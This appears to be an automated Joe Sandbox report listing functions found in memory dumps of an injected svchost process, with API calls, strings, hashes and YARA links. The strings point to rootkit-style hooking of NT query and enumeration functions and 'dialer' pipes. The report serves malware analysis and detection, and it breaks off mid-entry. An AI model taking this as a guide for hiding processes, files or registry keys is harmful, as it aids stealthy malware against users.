Instruction Fuzzy Hash: 96516E32248B84CAF755CFE2E4857AAB7A1F789B9AF044124DA4E47719DF3EC045CB40

Function 000001CBD8BD1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001CBD8BD1D1F

Part of subcall function 000001CBD8BD1FD4: GetModuleHandleA.KERNEL32 ref: 000001CBD8BD1FEC
Part of subcall function 000001CBD8BD1FD4: GetProcAddress.KERNEL32 ref: 000001CBD8BD1FFD

Part of subcall function 000001CBD8BD5B30: GetCurrentThreadId.KERNEL32 ref: 000001CBD8BD5B6B

Strings

NtQueryDirectoryFile, xrefs: 000001CBD8BD1D7F
ntdll.dll, xrefs: 000001CBD8BD1D2D
advapi32.dll, xrefs: 000001CBD8BD1DF7, 000001CBD8BD1E18
NtDeviceIoControlFile, xrefs: 000001CBD8BD1E56
sechost.dll, xrefs: 000001CBD8BD1E39
NtEnumerateValueKey, xrefs: 000001CBD8BD1DD6
NtResumeThread, xrefs: 000001CBD8BD1D62
NtQuerySystemInformation, xrefs: 000001CBD8BD1D45
NtEnumerateKey, xrefs: 000001CBD8BD1DB9
NtQueryDirectoryFileEx, xrefs: 000001CBD8BD1D9C
EnumServicesStatusExW, xrefs: 000001CBD8BD1E11, 000001CBD8BD1E32
EnumServiceGroupW, xrefs: 000001CBD8BD1DF0

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: e634467b1f32646224c8287f2fc796e93386f02fba06a326c16b56ff7ceecbf6
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: A6318474589B8AA4FA05DBE9E8D3EF46326A70434EF845013941F86166AFBBC24DC3D0

Function 000001CBD8BA6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001CBD8BA6938
__scrt_acquire_startup_lock.LIBCMT ref: 000001CBD8BA698A
_RTC_Initialize.LIBCMT ref: 000001CBD8BA69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001CBD8BA69DE
__scrt_release_startup_lock.LIBCMT ref: 000001CBD8BA6A09

Strings

scriptor', xrefs: 000001CBD8BA6B39, 000001CBD8BA6BB2, 000001CBD8BA6BEC
`dynamic initializer for ', xrefs: 000001CBD8BA69C7
`eh vector copy constructor iterator', xrefs: 000001CBD8BA6A3B
`eh vector vbase copy constructor iterator', xrefs: 000001CBD8BA69EE

Memory Dump Source

Source File: 00000035.00000002.2649938267.000001CBD8BA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8ba0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 07fdd0c7d24b3d781066f053deca9409dd143e813ed5482003d316b44598c601
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 7881D3B178C7018AFA909BE594C3BF92290EB5678EF4440159A4FC3796DBBBC845C788

Function 000001CBD8BDCE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000001CBD8BDCE37
FlsGetValue.KERNEL32(?,?,?,000001CBD8BE0A6B,?,?,?,000001CBD8BE045C,?,?,?,000001CBD8BDC84F), ref: 000001CBD8BDCE4C
FlsSetValue.KERNEL32(?,?,?,000001CBD8BE0A6B,?,?,?,000001CBD8BE045C,?,?,?,000001CBD8BDC84F), ref: 000001CBD8BDCE6D
FlsSetValue.KERNEL32(?,?,?,000001CBD8BE0A6B,?,?,?,000001CBD8BE045C,?,?,?,000001CBD8BDC84F), ref: 000001CBD8BDCE9A
FlsSetValue.KERNEL32(?,?,?,000001CBD8BE0A6B,?,?,?,000001CBD8BE045C,?,?,?,000001CBD8BDC84F), ref: 000001CBD8BDCEAB
FlsSetValue.KERNEL32(?,?,?,000001CBD8BE0A6B,?,?,?,000001CBD8BE045C,?,?,?,000001CBD8BDC84F), ref: 000001CBD8BDCEBC
SetLastError.KERNEL32 ref: 000001CBD8BDCED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001CBD8BE0A6B,?,?,?,000001CBD8BE045C,?,?,?,000001CBD8BDC84F), ref: 000001CBD8BDCF0D
FlsSetValue.KERNEL32(?,?,00000001,000001CBD8BDECCC,?,?,?,?,000001CBD8BDBF9F,?,?,?,?,?,000001CBD8BD7AB0), ref: 000001CBD8BDCF2C

Part of subcall function 000001CBD8BDD6CC: HeapAlloc.KERNEL32 ref: 000001CBD8BDD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001CBD8BE0A6B,?,?,?,000001CBD8BE045C,?,?,?,000001CBD8BDC84F), ref: 000001CBD8BDCF54

Part of subcall function 000001CBD8BDD744: HeapFree.KERNEL32 ref: 000001CBD8BDD75A
Part of subcall function 000001CBD8BDD744: GetLastError.KERNEL32 ref: 000001CBD8BDD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001CBD8BE0A6B,?,?,?,000001CBD8BE045C,?,?,?,000001CBD8BDC84F), ref: 000001CBD8BDCF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001CBD8BE0A6B,?,?,?,000001CBD8BE045C,?,?,?,000001CBD8BDC84F), ref: 000001CBD8BDCF76

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 380e374fd0efe43d558c039f956dcbd27f9d5249dad7ecb7c9ae31faf30a61ac
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 06413C702CD34462F96967F595E3BF922539B447AEF141B24A83FC67E6EB2BD401C280

Function 000001CBD8BD2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001CBD8BD2259
GetCurrentProcessId.KERNEL32 ref: 000001CBD8BD2263

Part of subcall function 000001CBD8BD1934: OpenProcess.KERNEL32 ref: 000001CBD8BD1952
Part of subcall function 000001CBD8BD1934: IsWow64Process.KERNEL32 ref: 000001CBD8BD1968
Part of subcall function 000001CBD8BD1934: CloseHandle.KERNEL32 ref: 000001CBD8BD1983

CreateFileW.KERNEL32 ref: 000001CBD8BD22BC
WriteFile.KERNEL32 ref: 000001CBD8BD22E4
ReadFile.KERNEL32 ref: 000001CBD8BD2303
CloseHandle.KERNEL32 ref: 000001CBD8BD230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 000001CBD8BD2293
\\.\pipe\dialerchildproc64, xrefs: 000001CBD8BD228C

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 8d495f9292460a9735da5ed95210fda6fbe957da3286c33244c8f36ea02638a3
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 52219032258B508AF710CBA4E4857A963A1F3857AAF400215DA5E82BA8CF3EC149CB40

Function 000001CBD8BA9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001CBD8BA99A1

Part of subcall function 000001CBD8BAA814: __GetUnwindTryBlock.LIBCMT ref: 000001CBD8BAA857
Part of subcall function 000001CBD8BAA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001CBD8BAA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001CBD8BA9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001CBD8BA9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001CBD8BA9DDA

Strings

csm, xrefs: 000001CBD8BA99BB
csm, xrefs: 000001CBD8BA9A22
csm, xrefs: 000001CBD8BA9A9C

Memory Dump Source

Source File: 00000035.00000002.2649938267.000001CBD8BA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8ba0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: a62b4a5be1d7a59fcf86fd4f7d53b3e4fe5156bf132faf2773fff64dd797c087
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 49E19C32648B408AFB608BE5D482BFD37A0F745B8DF100106EE9E87B96CB76C094C784

Function 000001CBD8BDA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001CBD8BDA5A1

Part of subcall function 000001CBD8BDB414: __GetUnwindTryBlock.LIBCMT ref: 000001CBD8BDB457
Part of subcall function 000001CBD8BDB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001CBD8BDB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001CBD8BDA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001CBD8BDA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001CBD8BDA9DA

Strings

csm, xrefs: 000001CBD8BDA69C
csm, xrefs: 000001CBD8BDA5BB
csm, xrefs: 000001CBD8BDA622

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: f93e4a1daa0d78cdaddb0cd674ab4af90492db7ec0da77687cb0fc27551b55aa
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 2DE18D72648B40AAFB209FE59482BED77A2F74479DF141115DE8F97B96CB3AC081C780

Function 000001CBD8BDF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 000001CBD8BDF510
GetProcAddress.KERNEL32 ref: 000001CBD8BDF51C

Strings

ext-ms-, xrefs: 000001CBD8BDF46D
api-ms-, xrefs: 000001CBD8BDF45A

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 32bd6cb2b4fe6735583b648f74334685912bda2f5fa339ee11d04b3235dc61ab
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 3041133239DB01A5FA12CBD6A881BF52792FB45BAAF0441258D0FD7795EB3BC405C380

Function 000001CBD8BD104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001CBD8BD10B1
RegEnumValueW.ADVAPI32 ref: 000001CBD8BD1117
GetProcessHeap.KERNEL32 ref: 000001CBD8BD115A
HeapAlloc.KERNEL32 ref: 000001CBD8BD1168
GetProcessHeap.KERNEL32 ref: 000001CBD8BD1185
HeapFree.KERNEL32 ref: 000001CBD8BD1193

Strings

d, xrefs: 000001CBD8BD10D6

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 066eb5fd8941bfc650680b4864ba2459917eed432ccf800f44e515a7831a054b
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 6D419033218B80DAE761CFA1E4857AFB7A1F389B99F049119DA8E47758DF3AC445CB40

Function 000001CBD8BDD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000001CBD8BDC7DE,?,?,?,?,?,?,?,?,000001CBD8BDCF9D,?,?,00000001), ref: 000001CBD8BDD087
FlsSetValue.KERNEL32(?,?,?,000001CBD8BDC7DE,?,?,?,?,?,?,?,?,000001CBD8BDCF9D,?,?,00000001), ref: 000001CBD8BDD0A6
FlsSetValue.KERNEL32(?,?,?,000001CBD8BDC7DE,?,?,?,?,?,?,?,?,000001CBD8BDCF9D,?,?,00000001), ref: 000001CBD8BDD0CE
FlsSetValue.KERNEL32(?,?,?,000001CBD8BDC7DE,?,?,?,?,?,?,?,?,000001CBD8BDCF9D,?,?,00000001), ref: 000001CBD8BDD0DF
FlsSetValue.KERNEL32(?,?,?,000001CBD8BDC7DE,?,?,?,?,?,?,?,?,000001CBD8BDCF9D,?,?,00000001), ref: 000001CBD8BDD0F0

Strings

1%, xrefs: 000001CBD8BDD0CE
Y%, xrefs: 000001CBD8BDD0A6

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 71d4662aedf6dbd697b56d36903d8f4ddc6a5a38ef4483e9cb1097fa8a6fd393
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 8311933038D34052FA6457F599D3BF92243DB843A9F185624586FC67E5DF1BC401C280

Function 000001CBD8BD7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001CBD8BD7538
__scrt_acquire_startup_lock.LIBCMT ref: 000001CBD8BD758A
_RTC_Initialize.LIBCMT ref: 000001CBD8BD75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001CBD8BD75DE
__scrt_release_startup_lock.LIBCMT ref: 000001CBD8BD7609

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 0106aeadf5537429d751d842193ee5b2217affcef9ad2f21424a8c74e39b0775
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: EE8105B068C701AAFA519BE594C3FF92692E74578EF144425990FC7796EB3BC403C788

Function 000001CBD8BD9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001CBD8BD9E49
GetLastError.KERNEL32 ref: 000001CBD8BD9E57
LoadLibraryExW.KERNEL32 ref: 000001CBD8BD9E81
FreeLibrary.KERNEL32 ref: 000001CBD8BD9EC7
GetProcAddress.KERNEL32 ref: 000001CBD8BD9ED3

Strings

api-ms-, xrefs: 000001CBD8BD9E69

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: c9b8f5ea63e900bb7e76ad3c81d051b3b44ab0de19cb25040923075a332a8adb
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: A731F63124A700F6FE169BC2A481BF522D5B748BAAF1906259D2F87791DF3BC459C380

Function 000001CBD8BE3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001CBD8BE3DE5
GetLastError.KERNEL32 ref: 000001CBD8BE3DF1
CloseHandle.KERNEL32 ref: 000001CBD8BE3E09
CreateFileW.KERNEL32 ref: 000001CBD8BE3E34
WriteConsoleW.KERNEL32 ref: 000001CBD8BE3E53

Strings

CONOUT$, xrefs: 000001CBD8BE3E15

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: eb7377fe2b6302bf55bf176071237aa04aac1f273150e96e86d659a293cea9b9
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 5D115131258B408AF7528BD2E895B6977A0F789FEAF044214EA6FC7794CB3BC514C780

Function 000001CBD8BD3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001CBD8BD379E
GetCurrentProcess.KERNEL32 ref: 000001CBD8BD37CC
VirtualProtectEx.KERNEL32 ref: 000001CBD8BD37EE
GetCurrentProcess.KERNEL32 ref: 000001CBD8BD3809
VirtualProtectEx.KERNEL32 ref: 000001CBD8BD382A

Strings

wr, xrefs: 000001CBD8BD37FF

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 59217231f7a3652f0728cb9fcaba971148e9c2b568802b1bfc5c67614d1d01f2
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: D111AC36748B408AFF158BD1E085AA962A1F789B8AF040028DE8F87756EF3FC504C744

Function 000001CBD8BD5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001CBD8BD5B6B
GetThreadContext.KERNEL32 ref: 000001CBD8BD5CD5

Part of subcall function 000001CBD8BD5960: GetCurrentThreadId.KERNEL32 ref: 000001CBD8BD5964

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 2535d574b1785d2b1a42f984cfa41e71c2a54c3512dbc8327d59fc37f128c4a0
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 93D1BE76249B4891EA70DB86E4917AE77B1F388B89F100116EACF87B65CF7EC541CB40

Function 000001CBD8BD2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CBD8BD2F27
HeapAlloc.KERNEL32 ref: 000001CBD8BD2F3A
StrCmpNIW.SHLWAPI ref: 000001CBD8BD2FAF
GetProcessHeap.KERNEL32 ref: 000001CBD8BD3015
HeapFree.KERNEL32 ref: 000001CBD8BD3023

Strings

dialer, xrefs: 000001CBD8BD2FA8

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 1cba4eec41f719f4423791475f4ed57158e1c05105fd208c51b5bbf463187363
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 77311532349B5096F611CFD6E581BBA6395FB44B8AF0844209E4F83B5AEF37D460C380

Function 000001CBD8BDCFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001CBD8BDCFAF
FlsSetValue.KERNEL32(?,?,?,000001CBD8BDD6B5,?,?,?,?,000001CBD8BDD778), ref: 000001CBD8BDCFE5
FlsSetValue.KERNEL32(?,?,?,000001CBD8BDD6B5,?,?,?,?,000001CBD8BDD778), ref: 000001CBD8BDD012
FlsSetValue.KERNEL32(?,?,?,000001CBD8BDD6B5,?,?,?,?,000001CBD8BDD778), ref: 000001CBD8BDD023
FlsSetValue.KERNEL32(?,?,?,000001CBD8BDD6B5,?,?,?,?,000001CBD8BDD778), ref: 000001CBD8BDD034
SetLastError.KERNEL32 ref: 000001CBD8BDD04F

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 537801d7384df499510b0516e733ebe0744c8f24ed2dd7c99d327c711a9b615e
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: B2116F3028D34062FA2557F195D3BF92253AB847BEF141724A86FC67E6DF2BC401C280

Function 000001CBD8BD199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001CBD8BD19C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001CBD8BD19E0
PathFindFileNameW.SHLWAPI ref: 000001CBD8BD19EF
lstrlenW.KERNEL32 ref: 000001CBD8BD19FB
StrCpyW.SHLWAPI ref: 000001CBD8BD1A0E
CloseHandle.KERNEL32 ref: 000001CBD8BD1A1C

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 4e1a75a037d890f7a3af027752f69dd1f5d83a83d0a6e2d613213ff947cde410
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 80018E31348B408AF611CBD2A488BAA63A1F749BCAF444035DE5E83754DF3AC589C380

Function 000001CBD8BD36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001CBD8BD36E4
GetCurrentProcess.KERNEL32 ref: 000001CBD8BD36F2
VirtualProtectEx.KERNEL32 ref: 000001CBD8BD3714
GetCurrentProcess.KERNEL32 ref: 000001CBD8BD3732
VirtualProtectEx.KERNEL32 ref: 000001CBD8BD3753
TerminateThread.KERNEL32 ref: 000001CBD8BD3762

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 7f1ef5d5059ce12c61f5d97a27b9455fb86792ee4b09ca0f56259de58aeb52b2
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 6D016574659B408AFB259BD1E48ABA567A1B749B8BF040425CD4F87765EF3FC104C740

Function 000001CBD8BD9005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001CBD8BD9013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001CBD8BD90A8
RtlUnwindEx.NTDLL ref: 000001CBD8BD90F7

Strings

csm, xrefs: 000001CBD8BD908E
f, xrefs: 000001CBD8BD9026

Memory Dump Source

